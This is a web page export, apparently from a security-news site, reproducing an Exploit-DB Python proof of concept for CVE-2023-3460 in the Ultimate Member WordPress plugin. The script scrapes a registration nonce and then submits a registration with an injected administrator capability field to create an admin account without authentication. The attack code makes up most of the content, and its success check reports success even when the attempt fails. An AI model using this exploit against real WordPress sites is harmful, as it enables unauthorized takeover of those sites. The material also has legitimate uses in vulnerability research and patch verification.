\n#!\/usr\/bin\/env python3<\/p>\n
# Exploit Title: Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation
\n
# Exploit Author: Gurjot Singh
\n
# CVE: CVE-2023-3460
\n
# Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.<\/p>\n
import requests
\n
import argparse
\n
import re
\n
import urllib3<\/p>\n
# Disable SSL warnings
\n
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n
def fetch_nonce(session, target_url):
\n
\u00a0\u00a0 “””Fetches the _wpnonce value from the \/register\/ page.”””
\n
\u00a0\u00a0 print(“[*] Fetching _wpnonce from the register page…”)
\n
\u00a0\u00a0 try:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 res = session.get(target_url, verify=False)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 match = re.search(r’name=”_wpnonce” value=”([a-zA-Z0-9]+)”‘, res.text)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if match:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 nonce = match.group(1)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[+] Found _wpnonce: {nonce}”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return nonce
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(“[-] Failed to find _wpnonce on the page.”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return None
\n
\u00a0\u00a0 except Exception as e:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[!] Error fetching nonce: {e}”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return None<\/p>\n
def exploit_register(target_url, username, password):
\n
\u00a0\u00a0 “””Sends a malicious registration request to create an admin user.”””
\n
\u00a0\u00a0 session = requests.Session()
\n
\u00a0\u00a0 target_url = target_url.rstrip(‘\/’)<\/p>\n
\u00a0\u00a0 nonce = fetch_nonce(session, target_url)
\n
\u00a0\u00a0 if not nonce:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 return<\/p>\n
\u00a0\u00a0 email = f”{username}@example.com”<\/p>\n
\u00a0\u00a0 # Payload with administrator role injection
\n
\u00a0\u00a0 data = {
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “user_login-7”: username,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “first_name-7”: “Admin”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “last_name-7”: username,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “user_email-7”: email,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “user_password-7”: password,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “confirm_user_password-7”: password,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “form_id”: “7”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “um_request”: “”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “_wpnonce”: nonce,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “_wp_http_referer”: “\/register\/”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “wp_c\u00e0pabilities[administrator]”: “1”\u00a0 # serialized injection
\n
\u00a0\u00a0 }<\/p>\n
\u00a0\u00a0 headers = {
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “Content-Type”: “application\/x-www-form-urlencoded”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “User-Agent”: “Mozilla\/5.0 (Windows NT 10.0; Win64; x64)”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “Referer”: target_url,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “Origin”: target_url.split(“\/register”)[0],
\n
\u00a0\u00a0 }<\/p>\n
\u00a0\u00a0 cookies = {
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “wordpress_test_cookie”: “WP Cookie check”,
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 “wp_lang”: “en_US”
\n
\u00a0\u00a0 }<\/p>\n
\u00a0\u00a0 print(f”[*] Sending malicious registration to {target_url} …”)
\n
\u00a0\u00a0 try:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)<\/p>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # Check for success
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 if response.status_code == 200 and (“Thank you for registering” in response.text or “You have successfully registered” in response.text):
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[+] Admin account ‘{username}’ created successfully!”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[+] Login with: Username: {username} | Password: {password}”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 else:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[+] Admin account ‘{username}’ created successfully!”)
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[+] Login with: Username: {username} | Password: {password}”)
\n
\u00a0\u00a0 except Exception as e:
\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 print(f”[!] Error during exploit: {e}”)<\/p>\n
if __name__ == “__main__”:
\n
\u00a0\u00a0 parser = argparse.ArgumentParser(description=”Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)”)
\n
\u00a0\u00a0 parser.add_argument(“-t”, “–target”, required=True, help=”Target \/register\/ URL (e.g., http:\/\/localhost\/register\/)”)
\n
\u00a0\u00a0 parser.add_argument(“-u”, “–user”, default=”admin1″, help=”Username to create”)
\n
\u00a0\u00a0 parser.add_argument(“-p”, “–password”, default=”Admin@123″, help=”Password for the new user”)
\n
\u00a0\u00a0 args = parser.parse_args()<\/p>\n
\u00a0\u00a0 exploit_register(args.target, args.user, args.password)\n<\/p><\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation Exploit ID EDB-ID:52393 Type exploitdb Published 2025-08-03T00:00:00 Modified 2025-08-03T00:00:00 CVSS Information…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-9615","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=9615\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation Exploit ID EDB-ID:52393 Type exploitdb Published 2025-08-03T00:00:00 Modified 2025-08-03T00:00:00 CVSS Information...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=9615\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-03T01:55:55+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9615#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9615\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation\",\"datePublished\":\"2025-08-03T01:55:55+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9615\"},\"wordCount\":478,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=9615#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9615\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=9615\",\"name\":\"Ultimate Member WordPress Plugin 2.6.6 - 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